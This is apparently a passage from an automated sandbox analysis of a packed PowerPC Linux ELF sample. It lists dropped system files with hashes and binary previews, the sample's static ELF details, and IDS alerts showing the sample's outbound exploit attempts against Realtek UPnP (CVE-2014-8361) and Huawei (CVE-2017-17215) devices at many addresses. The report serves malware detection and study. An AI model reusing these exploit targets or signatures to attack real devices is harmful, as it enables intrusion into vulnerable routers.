Preview:	.W..............................P......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/pl/index.db.yoEXfP

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.3847690842836057
Encrypted:	false
SSDEEP:	12:Ey20ypjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj3:bh
MD5:	F0B902DEA5EF122A0B1F0F496DDC781B
SHA1:	90176D320A9C3601787D53CC346DC743367D53F1
SHA-256:	CFD64D42263C5D323AF423FC09CDB5DDB2F914114B87BAB6566EAB1020F15DE0
SHA-512:	3A5BC0E51D53A12E65441FB98E1201DC434C42DB389CFCA4C96FF65C2413CF9B06B29CC39A48BD3FDC61F4896396813E54B9C2CE404EF35AC33B35377E718874
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/pt/6277

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.4110695640960995
Encrypted:	false
SSDEEP:	192:mva8yGn35+0+eo8TAnBW4VppKP8qtRJI:Sa8Rn35+peo8T8V/fqlI
MD5:	782FF89B6FA5932F7019AF9CF3F82E43
SHA1:	2ECE8DC134E3A292E2545AA2DCD24114A5FC5749
SHA-256:	01E77D9235C524F2A61EA03953607C13831C391A5B9AB0D9094F9C38F0EEB02E
SHA-512:	2305BEC024CA5D8B43267F5487B02081A0A746B73608E11217D19C91AD857B6A5D8E935194AC4228DA3A5383086E60D593095309E64BAF38841A6E32D7EA7805
Malicious:	false
Preview:	.W..............................P......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/pt/index.db.KpFy5R

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.3847690842836057
Encrypted:	false
SSDEEP:	12:Ey20ypjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj3:bh
MD5:	F0B902DEA5EF122A0B1F0F496DDC781B
SHA1:	90176D320A9C3601787D53CC346DC743367D53F1
SHA-256:	CFD64D42263C5D323AF423FC09CDB5DDB2F914114B87BAB6566EAB1020F15DE0
SHA-512:	3A5BC0E51D53A12E65441FB98E1201DC434C42DB389CFCA4C96FF65C2413CF9B06B29CC39A48BD3FDC61F4896396813E54B9C2CE404EF35AC33B35377E718874
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/pt_BR/6277

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.7510008687365202
Encrypted:	false
SSDEEP:	48:bhX6G+IwvnUZe4Gv/KSmGROqAQAuSe0dDOfInYbmucrm3QEAvJBFIz:bhq5bnUY4Gn3P+/Z1tvJDQ
MD5:	A11F5E85A2A07AF84255570AE29318FB
SHA1:	D06BF25E5FD4A17BCF7C5BD77ACD747F0FE181E8
SHA-256:	8FFA8BC408B254217275A622D054853CB72B08409A11AA49C4C664C0DABFB62F
SHA-512:	059F3CBC93750B68942D88EDD4AD2531B2291CEC421EB903280B9105010D1C8AD70F9F3CFA1B1A50D5110DCBFDB807A6E7A3F9EBC9A48AC8C3A49DEC4B6B3899
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/pt_BR/index.db.UN2EDR

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.45676214072558463
Encrypted:	false
SSDEEP:	12:Ey20ypjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj3:bh
MD5:	EE429C7E8B222AFF73C611A8C358B661
SHA1:	DA353E80DCF1195F259CCBC32D39F5923710453F
SHA-256:	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
SHA-512:	DC651AF7AEB4A64C63986100E416A7DA4782678497B73F1CE42536DE02DB9E4115748881A56B86EC5B12E34C9FDF829BD194BEA7790FDCA7B2F5178A24930809
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/ru/6277

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	3.440634655325007
Encrypted:	false
SSDEEP:	384:SpjHrhEon3PRekEF3PS6y13Vi6w5TlmmcOB:Q3hNEk23MuxrB
MD5:	DF5C1114538C5D8EA1EE929FFAC24E3C
SHA1:	B6331AF77566B63EA8204BE85F5DC99FAF51479E
SHA-256:	F238C75DAD82E10AB011A9BF79775B2A5F5889644A5A06835933340845A08555
SHA-512:	9514A424CC2A9290F749F527F515B35E45C6A829CB3930DBFB39DC9D70A684640A31686EC77258FF285FE89B6DD44BB01A478848FF9B3EBD764741A6F7856704
Malicious:	false
Preview:	.W..............................`......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/ru/index.db.NXLugR

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	0.3337394253577246
Encrypted:	false
SSDEEP:	12:Ey20ypjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj3:bh
MD5:	5B66CE03BFE548DEE335E0518E4E0554
SHA1:	65397845DC679AA972454B0FF237A513C0F490CB
SHA-256:	C38BB21B1D92166794DC09807C9A55B67B0A760C684FEEDD0C931F8415DD6D29
SHA-512:	A31C3D23F25607333250443490F0EE295BB702B46A636905FD413E8AEAA8ED23AAB42106868D2938718555C9DEEFB69FB416CAF5228A422F64D6CA8DB438FEE8
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/sl/6277

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.8558400366712392
Encrypted:	false
SSDEEP:	12:Ey20y8jjjjjjjjjjjjjjjjjjjjjjjjjjGjjjKuV0jjjjjjjjjjjjjjjjjjjjjjje:bhaVZjx6ot7m13SmZQs
MD5:	67697BEA7C23E4805A82FE9755BB3CAE
SHA1:	14ACAFF0BECBDB116E4C0BC329E59DEF68CF46D1
SHA-256:	553DA7FF76999B7CCC4450498B11E6BD98B3B1E5FF81D82A53568F84B0D270D5
SHA-512:	D966DD6430003E708C6EE10764DC072A1ED0A252E6E1C822CBD28271A2EDD4B1F61C7F9AA7D1D442D6175791A104A365DE25B9C2598500AE705C9250C8BA46A1
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/sl/index.db.J0v2oQ

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.45676214072558463
Encrypted:	false
SSDEEP:	12:Ey20ypjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj3:bh
MD5:	EE429C7E8B222AFF73C611A8C358B661
SHA1:	DA353E80DCF1195F259CCBC32D39F5923710453F
SHA-256:	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
SHA-512:	DC651AF7AEB4A64C63986100E416A7DA4782678497B73F1CE42536DE02DB9E4115748881A56B86EC5B12E34C9FDF829BD194BEA7790FDCA7B2F5178A24930809
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/sr/6277

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.3868484511023333
Encrypted:	false
SSDEEP:	48:bhLSUCt/WFekRv/KSmGWqApnEVyfNsu+tBNGg2PgULLE2vRy2QwfoQEDiR2e3iRj:bhLVC48cn3Vu2FtBv7AtboQIqb3qwK
MD5:	0DD75ECC81E4E564EA56A57FF32A24D3
SHA1:	859C0FE5F86A2C5A32BAD7920787BE845F34C4FB
SHA-256:	DB778B175D19DEFA4180D0B12D675AD0B8B22CC4BB77702D9EC8510F894EB3B1
SHA-512:	7B0C56A76797383527509F8036EB4911F8925E7ACC005CDC3269F0A43231479E3A0A9887BF4D2979F05CBFE18324997DEF715FDA6921EEF827B385C9D902C708
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/sr/index.db.XvqU1P

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.45676214072558463
Encrypted:	false
SSDEEP:	12:Ey20ypjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj3:bh
MD5:	EE429C7E8B222AFF73C611A8C358B661
SHA1:	DA353E80DCF1195F259CCBC32D39F5923710453F
SHA-256:	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
SHA-512:	DC651AF7AEB4A64C63986100E416A7DA4782678497B73F1CE42536DE02DB9E4115748881A56B86EC5B12E34C9FDF829BD194BEA7790FDCA7B2F5178A24930809
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/sv/6277

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	2.5432558448090097
Encrypted:	false
SSDEEP:	96:bhk/+fz7b9ldxbe2Vn3iwkVJIB0D6c6aZ4+1Wrzbxpl4/tMe1:imrn9lHbe2Vn3iwKhD6cvTAbl4/tMe
MD5:	D97454D6B1F39F39966A809BCA3D9647
SHA1:	276931CED8F34B7651C1BDFC8522FF0560E2C377
SHA-256:	DCB8CE7F4F21595D851100F315C56B717541DB898AEB9ED9C0CCC9FF217A5801
SHA-512:	3E014F3EA8EEE79B87726EDA6291AC2D0BD9B22803EE848F61CA2AAD39D5FB87704410C57C648EE4AF8A1B78EFB0D766524F6DB750208C9BAC346079FD8EE69E
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/sv/index.db.nEBgKO

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.45676214072558463
Encrypted:	false
SSDEEP:	12:Ey20ypjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj3:bh
MD5:	EE429C7E8B222AFF73C611A8C358B661
SHA1:	DA353E80DCF1195F259CCBC32D39F5923710453F
SHA-256:	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
SHA-512:	DC651AF7AEB4A64C63986100E416A7DA4782678497B73F1CE42536DE02DB9E4115748881A56B86EC5B12E34C9FDF829BD194BEA7790FDCA7B2F5178A24930809
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/tr/6277

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.7558188637474321
Encrypted:	false
SSDEEP:	96:bhWV1OIM7cn3UZiPU1wywyoEpJmz6W2Mzgg:YDOL4n3fPvywrzgMU
MD5:	5F905B930E7310E72BC3DF5C50F8E579
SHA1:	50B1AD3115F095C743CB26F87ECCE406FAC3523B
SHA-256:	1DB72BA77CA01F25CA9768999825D8F97F5ED4D00E17C9130D6F7CDE34130270
SHA-512:	A6066F4DF4097DB93673CD156BBE5F910C3F64D01E1671E481BC9FBDD720DBD6F8CEF337E20404F7C6AE97B2FA1F5E67088041ACBB6EA85D6758924D5740D06C
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/tr/index.db.6YvYVQ

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.45676214072558463
Encrypted:	false
SSDEEP:	12:Ey20ypjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj3:bh
MD5:	EE429C7E8B222AFF73C611A8C358B661
SHA1:	DA353E80DCF1195F259CCBC32D39F5923710453F
SHA-256:	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
SHA-512:	DC651AF7AEB4A64C63986100E416A7DA4782678497B73F1CE42536DE02DB9E4115748881A56B86EC5B12E34C9FDF829BD194BEA7790FDCA7B2F5178A24930809
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/zh_CN/6277

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	2.6210042560348144
Encrypted:	false
SSDEEP:	48:bh5roGafX8XKu5YIoBHtF2YekDsv/KSmGWNmA/y0uJNI/oyjaOUUfEHKn9nnjoEJ:bhdoLfX8N9oBNF2XFn3UD/9FZiy0aoN
MD5:	39398A15564A55EB7BFE895D7668A5A3
SHA1:	28DA677435B87176E08AFABBF8B51F7B93E22948
SHA-256:	A4C0216476E357ED3A23E71333DBE7DE91E04370EF049032EE8E47BB1EDBD83B
SHA-512:	B4E69212338C742F8C83194552078A86E4BED59375D82563C0B4059B7E0D6A58D6317151AB1F2A6FB20D2FF6DB7C550DF6A6984B2BB873A111D58AF9AEB7D95E
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/zh_CN/index.db.7EcskS

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.45676214072558463
Encrypted:	false
SSDEEP:	12:Ey20ypjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj3:bh
MD5:	EE429C7E8B222AFF73C611A8C358B661
SHA1:	DA353E80DCF1195F259CCBC32D39F5923710453F
SHA-256:	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
SHA-512:	DC651AF7AEB4A64C63986100E416A7DA4782678497B73F1CE42536DE02DB9E4115748881A56B86EC5B12E34C9FDF829BD194BEA7790FDCA7B2F5178A24930809
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/zh_TW/6277

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	1.0170167917961734
Encrypted:	false
SSDEEP:	24:bhAvIZuF4ptmpzf50dhOv8WvxjMMhFmMKxevOfOots+:bhDi4p+ahOhFFKxewj
MD5:	1FC5F2B98E5BC25B10373353D91B86B1
SHA1:	D848DA35B0731328195D59C1E996B95C4952F1F9
SHA-256:	509FAD18B4454CD70D974755F6156D4A5FA9B960AB9FF468D1FC350F0B64F379
SHA-512:	95BC2E289EDE5D9A3F56C9D8AE9DD13D9379BE2ABF8927CDABBE92B9F57A8EB667E9C08E4DFD82BF9F1F57118CE6E495722ADA2668AFF4FA0540F46C0A6D5138
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/cache/man/zh_TW/index.db.cT6H0P

Download File

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.45676214072558463
Encrypted:	false
SSDEEP:	12:Ey20ypjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjj3:bh
MD5:	EE429C7E8B222AFF73C611A8C358B661
SHA1:	DA353E80DCF1195F259CCBC32D39F5923710453F
SHA-256:	BDAAC26D90701E063943763B7CBD9204B6F0007C6F1BCA3C7B4FE3B09CDF6091
SHA-512:	DC651AF7AEB4A64C63986100E416A7DA4782678497B73F1CE42536DE02DB9E4115748881A56B86EC5B12E34C9FDF829BD194BEA7790FDCA7B2F5178A24930809
Malicious:	false
Preview:	.W..............................@......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

/var/lib/logrotate/status.tmp

Download File

Process:	/usr/sbin/logrotate
File Type:	ASCII text
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	4.7995750473770915
Encrypted:	false
SSDEEP:	48:Uv6qJFNDr0vmK5Npq4pNMJNcsXNU3N6NA5z5xvtNq4wNZNDNU1LN3o9NnqJNCNqQ:mraPm4p+xe3MmBA4wTteJY0nCA5eC9kR
MD5:	9B9DDAB8F62E08EE4359A8CFC4F6E263
SHA1:	8775B0B260DB94DABFE34EE9F17A154A4132D77B
SHA-256:	2ED21633AF78482336C13D3A446D14D63852A497F3812DBFA9884ECAFF038D43
SHA-512:	E21BB4E49C8FD1399018D4E7B63F66512F0D7AB6964B694281B94D25EEAB37104690B052B08317AC84FC9EEE9626DDF35EAEF3C0A948C92911313129B5D404CA
Malicious:	false
Preview:	logrotate state -- version 2."/var/log/syslog" 2022-5-27-1:58:57."/var/log/dpkg.log" 2022-5-26-23:58:23."/var/log/speech-dispatcher/debug-flite" 2021-8-20-13:0:0."/var/log/unattended-upgrades/unattended-upgrades.log" 2022-5-26-23:58:23."/var/log/unattended-upgrades/unattended-upgrades-shutdown.log" 2021-9-17-9:23:29."/var/log/auth.log" 2022-5-26-23:58:23."/var/log/apt/term.log" 2022-5-26-23:58:23."/var/log/ppp-connect-errors" 2021-8-20-13:0:0."/var/log/apport.log" 2021-9-17-9:23:29."/var/log/speech-dispatcher/speech-dispatcher-protocol.log" 2021-8-20-13:0:0."/var/log/apt/history.log" 2022-5-26-23:58:23."/var/log/boot.log" 2021-8-20-13:0:0."/var/log/alternatives.log" 2021-9-17-9:23:29."/var/log/lightdm/*.log" 2021-8-20-13:0:0."/var/log/mail.log" 2021-8-20-13:0:0."/var/log/debug" 2021-8-20-13:0:0."/var/log/kern.log" 2022-5-26-23:58:23."/var/log/cups/access_log" 2022-5-27-1:58:57."/var/log/ufw.log" 2021-8-20-13:0:0."/var/log/speech-dispatcher/speech-dispatcher.log" 2021-8-20-13:0:0."/var/

/var/log/cups/access_log.1.gz

Download File

Process:	/bin/gzip
File Type:	gzip compressed data, last modified: Thu May 26 23:58:23 2022, from Unix
Category:	dropped
Size (bytes):	200
Entropy (8bit):	6.82114322236811
Encrypted:	false
SSDEEP:	3:Ft0+bZOhTdtgTFqmaXoWEcbwu3uayr4FDU30io9x4S3q3NIAZo+OpUbiISrjJJ/7:X7Sv2qmmDcl14lNio3x8NIYo+0Ub8b/7
MD5:	C60772CDCC96BB126A3D9D17008AE1F8
SHA1:	C709B76F21150CAAE9BA5FB381E03AB79FF7730B
SHA-256:	A5B33E164C704367BB6C9D5419E2EA0D5EB81DBEA2BB85F01EA7F1642F9B8263
SHA-512:	B7498175DCE8E1193E769CF66E0211BD6E1BDC3BD324D935ACAC5E52123BDB6C0DFCD5DD273F17B8647004A20B8769AE380BC528626A14E5F108D2387109F52C
Malicious:	false
Preview:	.......b....;..0...._q.1.>.]....v...S........C..s.L.>.A....d..?.Z.T0....".D.{6..Qu...pn.....@0.q.C.T.....A9R../..F...R...\|..V........L....4...0.\|\|([+..q.0.1...e..4Z.@.s..@:..s..K....aU%F*...

/var/log/syslog.1.gz

Download File

Process:	/bin/gzip
File Type:	gzip compressed data, last modified: Thu May 26 23:58:23 2022, from Unix
Category:	dropped
Size (bytes):	2958
Entropy (8bit):	7.9259345332416515
Encrypted:	false
SSDEEP:	48:X2A4GsCCdbz00Gr+nszny00NaFUftdZP+aqIbbIBdUzPIzgA1:J4pCKz00GSOl0Na2PPzEs7IzgA1
MD5:	529EF186FB079ABB5A275A622886854E
SHA1:	3D416BCD063A967C028F7190F643C02A691B8D87
SHA-256:	7687B43157BA7F11E054454F37F57F275E71DF8D3D0EAB042E8D37B38F821346
SHA-512:	9D8BA578D0E1E663352D263189C1432088E10A29EADFD486A11BE379FC774F1B948337211987AC6D4FB42DCDD842782D71EFEAB9F760F4031E666C32EF35F460
Malicious:	false
Preview:	.......b...\is...._...'...}hF....v.c%.m=..DB.k.`.......eY.@JL./>d.y...<&.2<..C.......s.c.....Y4D.,.g1E.M....HY.MA\|..<ft.....+.^..h.x.%~...yQd\|8.,..m.\.Y.\|[.B.../_.I..q.S.hA....6D.&g....I~..d..e....H..8.i..$BW...D.8!\r}6.8.B.0!......G.%.A~.I......k....F.Vs...L...."..!#.....\|.Ms.'.-X.M.e...q<.p....<.N.`.Pa..3.VD.Y~m:..D'E8..........U..,i.. b..0...tIR.O.m.C...S5...B.p...PNf....q7.y<..(A}-..0.........\|#.....r&.....l...,"../.B..#cp...._...E.....[......@g..H....)..-/.UM.....L..7...5.em.E..OC..C..:.w.l..>..3.'C..)...Qywy1VP..R0.\|..<K..R........3\.k...<.C..h.%..v.t...)P..;T....w8.#..Y..Z.....^.g1.q?.9.p^%:..h5'a.....V<.".S.&?.....b.\|..\t..A/\|G.\|;pu4y(.....)....@S....`... 4.S.MK....j@lW5.)....0...............?..0...3...9..d...o........}....?~..._.....?................/~\|...?of.Q.V...M.7.1.!.!.h...I..[.V..Z..4g).@...]<..n.8...%j..G s.d.eh36t.c.BL)+.2....h...e.......I..)!`....)...C...vtU........Y...+...,+.4.."N.My.....C.E0.#4g.. ..sLoQ1......'."...+.<..bSp.

Static File Info

General

File type:	ELF 32-bit MSB executable, PowerPC or cisco 4500, version 1 (GNU/Linux), statically linked, stripped
Entropy (8bit):	7.965426160764133
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	IdTVrdi0dC
File size:	43140
MD5:	4a6d63615986750505074e2fd62fb4ff
SHA1:	0549d8ba0c4cd7cdeb4ebc37e9dacad3c7186c8f
SHA256:	2eaced3f2dd6c845cc0cd8591a2d4959c20d45d3b1364195a7b42d4bf0879d91
SHA512:	3f7d4797d18138387212077a3d81851fc19fb1f0ce69cc3271fb8edf8ba4a3732a95a3a057346cc1232b4ad1b393e24d2bffa16da90212f5658c70b989c2922f
SSDEEP:	768:MLyh2QF7rqOvzUHASMrAfIeXATsrdxnL9XNGYj7OxwlKoQEY15La4uVcqgw09d:M2vrRvzUHyARXA6nZNGLwY15G4u+qgwk
TLSH:	6713E1B4C9679C22E7BB4D5668B04B917ED30A09BF7C6952410BFB43CB931732709E09
File Content Preview:	.ELF...........................4.........4. ...(.......................x...x........................................dt.Q................................UPX!.......................W.......?.E.h4...@b................q.Z!K.......T.(..l.).$.~2....Gh.D...e?.Tl

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	PowerPC
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - Linux
ABI Version:	0
Entry Point Address:	0x109590
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x100000	0x100000	0xa778	0xa778	4.1464	0x5	R E	0x10000
LOAD	0xe90c	0x1002e90c	0x1002e90c	0x0	0x0	0.0000	0x6	RW	0x10000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.2.23156.244.81.14158806528692027339 05/27/22-01:59:36.594856	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58806	52869	192.168.2.23	156.244.81.141
192.168.2.23156.238.54.10360812372152835222 05/27/22-01:59:24.080046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60812	37215	192.168.2.23	156.238.54.103
192.168.2.23156.254.33.10341864528692027339 05/27/22-01:59:27.282691	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41864	52869	192.168.2.23	156.254.33.103
192.168.2.23156.238.58.24450826528692027339 05/27/22-02:01:55.686882	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50826	52869	192.168.2.23	156.238.58.244
192.168.2.23156.254.90.22041412528692027339 05/27/22-02:01:24.819246	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41412	52869	192.168.2.23	156.254.90.220
192.168.2.23156.226.111.15343688528692027339 05/27/22-02:02:36.420093	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43688	52869	192.168.2.23	156.226.111.153
192.168.2.23156.230.26.5053942372152835222 05/27/22-02:00:48.185738	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53942	37215	192.168.2.23	156.230.26.50
192.168.2.23156.235.98.5460298528692027339 05/27/22-02:02:03.588566	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60298	52869	192.168.2.23	156.235.98.54
192.168.2.23156.241.13.11156632528692027339 05/27/22-02:02:28.936352	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56632	52869	192.168.2.23	156.241.13.111
192.168.2.23156.244.87.18949872372152835222 05/27/22-02:01:06.220662	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49872	37215	192.168.2.23	156.244.87.189
192.168.2.23156.239.152.5940308528692027339 05/27/22-02:01:21.193697	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40308	52869	192.168.2.23	156.239.152.59
192.168.2.23156.226.77.19948134372152835222 05/27/22-02:01:06.437312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48134	37215	192.168.2.23	156.226.77.199
192.168.2.23156.241.86.12946264372152835222 05/27/22-02:02:18.660029	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46264	37215	192.168.2.23	156.241.86.129
192.168.2.23156.230.28.8541732528692027339 05/27/22-02:00:19.002233	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41732	52869	192.168.2.23	156.230.28.85
192.168.2.23156.244.106.12856702528692027339 05/27/22-02:01:11.642375	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56702	52869	192.168.2.23	156.244.106.128
192.168.2.23156.230.22.3938096372152835222 05/27/22-02:00:16.837999	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38096	37215	192.168.2.23	156.230.22.39
192.168.2.23156.226.105.12135478372152835222 05/27/22-02:01:56.434610	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35478	37215	192.168.2.23	156.226.105.121
